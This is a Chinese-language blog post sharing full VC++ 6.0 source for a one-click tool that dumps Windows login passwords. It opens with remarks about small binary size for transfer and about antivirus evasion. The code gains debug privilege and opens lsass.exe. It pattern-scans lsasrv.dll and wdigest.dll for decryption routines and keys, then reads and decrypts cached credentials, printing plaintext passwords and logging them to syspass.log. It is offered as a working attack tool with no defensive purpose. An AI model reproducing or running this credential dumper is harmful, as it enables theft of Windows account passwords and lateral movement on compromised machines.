此版本編譯出來的程序體積較小幾十KB...
而vs版則1點幾M,體積整整大了2-30倍
對某些奇葩環境...1點幾M可能要分幾十次傳過去

總是在關鍵的時候,發現自己以前弄過的東西突然不見了
然後百度好不容易找到了一份..還是發到博客來 收藏
需要修改輸出TXT的或免殺啥的...上自己博客找源碼



#include <windows.h>
#include <stdio.h>

//
// Vsbat[0x710dddd]
//
// Note: VC++ 6.0編譯/Admin權限執行
//

#define MEM_SIZE 0x1000
#define WIN7 0x1
#define WINXP 0x2
#define WIN03 0x4

typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} LSA_UNICODE_STRING , *PLSA_UNICODE_STRING ;

typedef struct _SECURITY_LOGON_SESSION_DATA {
ULONG Size;
LUID LogonId;
LSA_UNICODE_STRING UserName;
LSA_UNICODE_STRING LogonDomain;
LSA_UNICODE_STRING AuthenticationPackage;
ULONG LogonType; ULONG Session;
PSID Sid;
LARGE_INTEGER LogonTime;
LSA_UNICODE_STRING LogonServer;
LSA_UNICODE_STRING DnsDomainName;
LSA_UNICODE_STRING Upn;
} SECURITY_LOGON_SESSION_DATA, *PSECURITY_LOGON_SESSION_DATA ;


typedef int (__stdcall * pNTQUERYPROCESSINFORMATION)(HANDLE, DWORD, PVOID, ULONG, PULONG) ;
typedef int (__stdcall * pLSAENUMERATELOGONSESSIONS)(PULONG, PLUID *) ;
typedef int (__stdcall * pDECRIPTFUNC)(PBYTE, DWORD) ;
typedef int (__stdcall * pLSAFREERETURNBUFFER)(PVOID) ;
typedef int (__stdcall * pLSAGETLOGONSESSIONDATA)(PLUID, PSECURITY_LOGON_SESSION_DATA *) ;

int EnableDebugPrivilege() ;
void printHexBytes(PBYTE data, int nBytes) ;
PBYTE search_bytes(PBYTE pBegin, PBYTE pEnd, PBYTE pBytes, DWORD nsize) ;
void CopyKeyGlobalData(HANDLE hProcess, LPVOID hModlsasrv, int osKind) ;
HANDLE GetProcessHandleByName(const CHAR *szName) ;
LPVOID GetEncryptListHead() ;
void printSessionInfo(pLSAGETLOGONSESSIONDATA, pLSAFREERETURNBUFFER, PLUID) ;


// 解密函數特征碼(lsasrv.text)
BYTE DecryptfuncSign[] = { 0x8B, 0xFF, 0x55, 0x8B,
0xEC, 0x6A, 0x00, 0xFF,
0x75, 0x0C, 0xFF, 0x75,
0x08, 0xE8 } ;

// 密鑰KEY相關的關鍵地址特征碼(lsasrv.text)
BYTE DecryptKeySign_WIN7[] = { 0x33, 0xD2, 0xC7, 0x45, 0xE8, 0x08, 0x00, 0x00, 0x00, 0x89, 0x55, 0xE4 } ;
BYTE DecryptKeySign_XP[] = { 0x8D, 0x85, 0xF0, 0xFE, 0xFF, 0xFF, 0x50, 0xFF, 0x75, 0x10, 0xFF, 0x35 } ;

// 密文關鍵指針特征碼(wdigest.text)
BYTE KeyPointerSign[] = { 0x8B, 0x45, 0x08, 0x89, 0x08, 0xC7, 0x40, 0x04 } ;

// 全局變量
BYTE MemBuf[MEM_SIZE], SecBuf[0x200], ThirdBuf[0x200] ;
BYTE Encryptdata[0x100] ;




HANDLE GetProcessHandleByName(const CHAR *szName)
{
//
// GetProcessHandle獲得lsass.exe進程句柄
//
DWORD dwProcessId , ReturnLength, nBytes ;
WCHAR Buffer[MAX_PATH + 0x20] ;
HANDLE hProcess ;
PWCHAR pRetStr ;
pNTQUERYPROCESSINFORMATION NtQueryInformationProcess ;
CHAR szCurrentPath[MAX_PATH] ;

NtQueryInformationProcess = (pNTQUERYPROCESSINFORMATION)GetProcAddress(GetModuleHandle("ntdll.dll") , \
"NtQueryInformationProcess") ;

// Process ID 一定是 4 的倍數
for(dwProcessId = 4 ; dwProcessId < 10*1000 ; dwProcessId += 4)
{
hProcess = OpenProcess(PROCESS_ALL_ACCESS , FALSE, dwProcessId) ;
if(hProcess != NULL)
{
if(!NtQueryInformationProcess(hProcess, 27, Buffer, sizeof(Buffer), &ReturnLength))
{
pRetStr = (PWCHAR)(*(DWORD *)((DWORD)Buffer + 4)) ;

nBytes = WideCharToMultiByte(CP_ACP, 0, pRetStr, -1, \
szCurrentPath, MAX_PATH, NULL, NULL) ;
if(nBytes)
{
PCHAR pCurName = &szCurrentPath[nBytes-1] ;
while(pCurName >= szCurrentPath)
{
if(*pCurName == ‘\\‘) break ;
pCurName -- ;
}
pCurName ++ ;
if(lstrcmpi(szName, pCurName) == 0)
{
return hProcess ;
}
}
}
// 關閉打開的句柄
CloseHandle(hProcess) ;
}
}
return NULL ;
}


LPVOID GetEncryptListHead()
{
//
// 根據KeyPointerSign[]獲得密文存儲的關鍵相關地址
//
HINSTANCE hMod ;
LPVOID pEndAddr, KeyPointer, pTemp ;

hMod = LoadLibrary("wdigest.dll") ;
pEndAddr = GetProcAddress(hMod, "SpInstanceInit") ;
pTemp = hMod ;
KeyPointer = NULL ;
while(pTemp < pEndAddr && pTemp != NULL)
{
KeyPointer = pTemp ;
pTemp = (LPVOID)search_bytes((PBYTE)pTemp + sizeof(KeyPointerSign), (PBYTE)pEndAddr, \
KeyPointerSign, sizeof(KeyPointerSign)) ;
}
KeyPointer = (LPVOID)(*(DWORD *)((DWORD)KeyPointer - 4)) ;
FreeLibrary(hMod) ;
return KeyPointer ;
}




void k8writeTxt(char* logtext)
{


//寫入txt
FILE* pFile = NULL;
pFile = fopen( "syspass.log", "a+" );

// 12345/n5678/n 用sizeof 結果竟然只得到 1234
//fwrite( ptext2, sizeof(ptext2), 1, pFile );

fwrite( logtext, strlen(logtext), 1, pFile );

fclose( pFile ); //關閉時會寫入結束符
}

int main()
{
HINSTANCE hModlsasrv ;
DWORD LogonSessionCount, i ,dwBytesRead ;
PLUID LogonSessionList, pCurLUID , pListLUID ;
BYTE EncryptBuf[0x200] ;
HANDLE hProcess ;


if(EnableDebugPrivilege() != 1)
puts("EnableDebugPrivilege fail !") ;

hProcess = GetProcessHandleByName("lsass.exe") ;
if(hProcess == NULL)
{
puts("GetProcessHandleByName fail !") ;
puts("Try To Run As Administrator ...") ;
system("echo Press any Key to Continue ... & pause > nul") ;
return 0 ;
}

OSVERSIONINFO VersionInformation ;
DWORD dwVerOff = 0 , osKind = -1 ;

// 版本判斷
memset(&VersionInformation, 0, sizeof(VersionInformation));
VersionInformation.dwOSVersionInfoSize = sizeof(VersionInformation) ;
GetVersionEx(&VersionInformation) ;
if (VersionInformation.dwMajorVersion == 5)
{
if ( VersionInformation.dwMinorVersion == 1 )
{
dwVerOff = 36 ;
osKind = WINXP ;
}
else if (VersionInformation.dwMinorVersion == 2)
{
dwVerOff = 28 ;
osKind = WIN03 ;
}
}
else if (VersionInformation.dwMajorVersion == 6)
{
dwVerOff = 32 ;
osKind = WIN7 ;
}

if(osKind == -1)
{
printf("[Undefined OS version] Major: %d Minor: %d\n", \
VersionInformation.dwMajorVersion, VersionInformation.dwMinorVersion) ;
system("echo Press any Key to Continue ... & pause > nul") ;
CloseHandle(hProcess) ;
return 0 ;
}

// 獲得解密函數地址
pDECRIPTFUNC DecryptFunc ;
hModlsasrv = LoadLibrary("lsasrv.dll") ;
DecryptFunc = (pDECRIPTFUNC)search_bytes((PBYTE)hModlsasrv, (PBYTE)0x7fffdddd, DecryptfuncSign, sizeof(DecryptfuncSign)) ;

// 獲得密文鏈表頭地址
LPVOID ListHead ;
ListHead = GetEncryptListHead() ;

// 獲得全局數據(lsasrv.data及解密KEY相關的數據)
CopyKeyGlobalData(hProcess, hModlsasrv, osKind) ;

HINSTANCE hModSecur32 ;
pLSAENUMERATELOGONSESSIONS LsaEnumerateLogonSessions ;
pLSAGETLOGONSESSIONDATA LsaGetLogonSessionData ;
pLSAFREERETURNBUFFER LsaFreeReturnBuffer ;

hModSecur32 = LoadLibrary("Secur32.dll") ;
LsaEnumerateLogonSessions = (pLSAENUMERATELOGONSESSIONS)GetProcAddress(hModSecur32, "LsaEnumerateLogonSessions") ;
LsaGetLogonSessionData = (pLSAGETLOGONSESSIONDATA)GetProcAddress(hModSecur32, "LsaGetLogonSessionData") ;
LsaFreeReturnBuffer = (pLSAFREERETURNBUFFER)GetProcAddress(hModSecur32, "LsaFreeReturnBuffer") ;

LsaEnumerateLogonSessions(&LogonSessionCount, &LogonSessionList) ;
for(i = 0 ; i < LogonSessionCount ; i++)
{
pCurLUID = (PLUID)((DWORD)LogonSessionList + sizeof(LUID) * i) ;
// 打印相關信息
printSessionInfo(LsaGetLogonSessionData, LsaFreeReturnBuffer, pCurLUID) ;
// 遍歷鏈式結構查找當前的LUID
ReadProcessMemory(hProcess, ListHead, EncryptBuf, 0x100, &dwBytesRead) ;
while(*(DWORD *)EncryptBuf != (DWORD)ListHead)
{
ReadProcessMemory(hProcess, (LPVOID)(*(DWORD *)EncryptBuf), EncryptBuf, 0x100, &dwBytesRead) ;
pListLUID = (LUID *)((DWORD)EncryptBuf + 0x10) ;
if((pListLUID->LowPart == pCurLUID->LowPart) && (pListLUID->HighPart == pCurLUID->HighPart))
{
break ;
}
}
if(*(DWORD *)EncryptBuf == (DWORD)ListHead)
{
puts("Specific LUID NOT found\n") ;
continue ;
}

DWORD pFinal = 0 ;
DWORD nBytes = 0 ;
LPVOID pEncrypt ;
pFinal = (DWORD)(pListLUID) + dwVerOff ;
nBytes = *(WORD *)((DWORD)pFinal + 2) ; // 密文大小
pEncrypt = (LPVOID)(*(DWORD *)((DWORD)pFinal + 4)) ; // 密文地址(Remote)

memset(Encryptdata, 0, sizeof(Encryptdata)) ;
ReadProcessMemory(hProcess, (LPVOID)pEncrypt, Encryptdata, nBytes, &dwBytesRead) ;

// 調用解密函數解密
DecryptFunc(Encryptdata, nBytes) ;
// 打印密碼明文
printf("password: %S\n\n", Encryptdata) ;

k8writeTxt((char*)Encryptdata);//保存日誌
}

CloseHandle(hProcess) ;
LsaFreeReturnBuffer(LogonSessionList) ;

FreeLibrary(hModlsasrv) ;
FreeLibrary(hModSecur32) ;
if(osKind == WIN7)
{
FreeLibrary(GetModuleHandle("bcrypt.dll")) ;
FreeLibrary(GetModuleHandle("bcryptprimitives.dll")) ;
}

system("echo Press any Key to EXIT ... & pause > nul") ;

return 0 ;
}


void printSessionInfo(pLSAGETLOGONSESSIONDATA LsaGetLogonSessionData, pLSAFREERETURNBUFFER LsaFreeReturnBuffer, PLUID pCurLUID)
{
PSECURITY_LOGON_SESSION_DATA pLogonSessionData ;

LsaGetLogonSessionData(pCurLUID, &pLogonSessionData) ;
printf("UserName: %S\n", pLogonSessionData->UserName.Buffer) ;
printf("LogonDomain: %S\n", pLogonSessionData->LogonDomain.Buffer) ;

LsaFreeReturnBuffer(pLogonSessionData) ;
}


int EnableDebugPrivilege()
{
HANDLE hToken ;
LUID sedebugnameValue ;
TOKEN_PRIVILEGES tkp ;

if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken) )
{
puts("OpenProcessToken fail") ;
return 0 ;
}
if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue))
{
puts("LookupPrivilegeValue fail") ;
return 0 ;
}

tkp.PrivilegeCount = 1 ;
tkp.Privileges[0].Luid = sedebugnameValue ;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED ;
if(!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL) )
{
puts("AdjustTokenPrivileges fail") ;
return 0 ;
}
return 1 ;
}


PBYTE search_bytes(PBYTE pBegin, PBYTE pEnd, PBYTE pBytes, DWORD nsize)
{
//
// 在pBegin與pEnd之間搜索pBytes地址處的指定字節序列，字節個數為nsize
//
DWORD count ;
PBYTE pDst ;

while((DWORD)pBegin + (DWORD)nsize <= (DWORD)pEnd)
{
pDst = pBytes ;
count = 0 ;
while(count < nsize && *pBegin == *pDst)
{
pBegin ++ ;
pDst ++ ;
count ++ ;
}
if(count == nsize) break ;
pBegin = pBegin - count + 1 ;
}
if(count == nsize)
{
return (PBYTE)((DWORD)pBegin - (DWORD)count) ;
}
else
{
return NULL ;
}
}


void CopyKeyGlobalData(HANDLE hProcess, LPVOID hModlsasrv, int osKind)
{
PIMAGE_SECTION_HEADER pSectionHead ;
PIMAGE_DOS_HEADER pDosHead ;
PIMAGE_NT_HEADERS pPEHead ;
DWORD dwBytes, dwBytesRead ;
LPVOID pdataAddr, pDecryptKey , DecryptKey, pEndAddr ;

pDosHead = (PIMAGE_DOS_HEADER)hModlsasrv ;
pSectionHead = (PIMAGE_SECTION_HEADER)(pDosHead->e_lfanew + (DWORD)hModlsasrv \
+ sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER)) ;

pdataAddr = (LPVOID)((DWORD)pSectionHead->VirtualAddress + (DWORD)hModlsasrv) ;
dwBytes = ((DWORD)(pSectionHead->Misc.VirtualSize) / 0x1000 + 1) * 0x1000 ;
ReadProcessMemory(hProcess, pdataAddr, pdataAddr, dwBytes, &dwBytesRead) ;

pPEHead = (PIMAGE_NT_HEADERS)(pDosHead->e_lfanew + (DWORD)hModlsasrv) ;
pEndAddr = (LPVOID)(pPEHead->OptionalHeader.SizeOfImage + (DWORD)hModlsasrv) ;

switch(osKind)
{
case WINXP :
case WIN03 :
{
pDecryptKey = (LPVOID)search_bytes((PBYTE)(hModlsasrv), (PBYTE)pEndAddr , \
DecryptKeySign_XP, sizeof(DecryptKeySign_XP)) ;

pDecryptKey = (LPVOID)*(DWORD *)((DWORD)pDecryptKey + sizeof(DecryptKeySign_XP)) ;
ReadProcessMemory(hProcess, (LPVOID)pDecryptKey, &DecryptKey, 4, &dwBytesRead) ;
// DecryptKey 是與解密相關的關鍵地址
ReadProcessMemory(hProcess, (LPVOID)DecryptKey, MemBuf, 0x200, &dwBytesRead) ;
pdataAddr = (LPVOID)pDecryptKey ;
*(DWORD *)pdataAddr = (DWORD)MemBuf ;

break ;
}
case WIN7 :
{
// WIN7 需調用這兩個DLL中的函數進行解密
LoadLibrary("bcrypt.dll") ;
LoadLibrary("bcryptprimitives.dll") ;

pDecryptKey = (LPVOID)search_bytes((PBYTE)(hModlsasrv), (PBYTE)pEndAddr , \
DecryptKeySign_WIN7, sizeof(DecryptKeySign_WIN7)) ;
pDecryptKey = (LPVOID)(*(DWORD *)((DWORD)pDecryptKey - 4)) ;

// DecryptKey 是與解密相關的關鍵地址
ReadProcessMemory(hProcess, pDecryptKey, &DecryptKey, 0x4, &dwBytesRead) ;

ReadProcessMemory(hProcess, (LPVOID)DecryptKey, MemBuf, 0x200, &dwBytesRead) ;
pdataAddr = (LPVOID)pDecryptKey ;
*(DWORD *)pdataAddr = (DWORD)MemBuf ;

ReadProcessMemory(hProcess, (LPVOID)(*(DWORD *)((DWORD)MemBuf + 8)), SecBuf, 0x200, &dwBytesRead) ;
pdataAddr = (LPVOID)((DWORD)MemBuf + 8) ;
*(DWORD *)pdataAddr = (DWORD)SecBuf ;

ReadProcessMemory(hProcess, (LPVOID)(*(DWORD *)((DWORD)MemBuf + 0xC)), ThirdBuf, 0x200, &dwBytesRead) ;
pdataAddr = (LPVOID)((DWORD)MemBuf + 0xC) ;
*(DWORD *)pdataAddr = (DWORD)ThirdBuf ;

break ;
}
}
return ;
}


// -- EOF -- //

[源碼]一鍵獲取windows系統登陸密碼vc6版源碼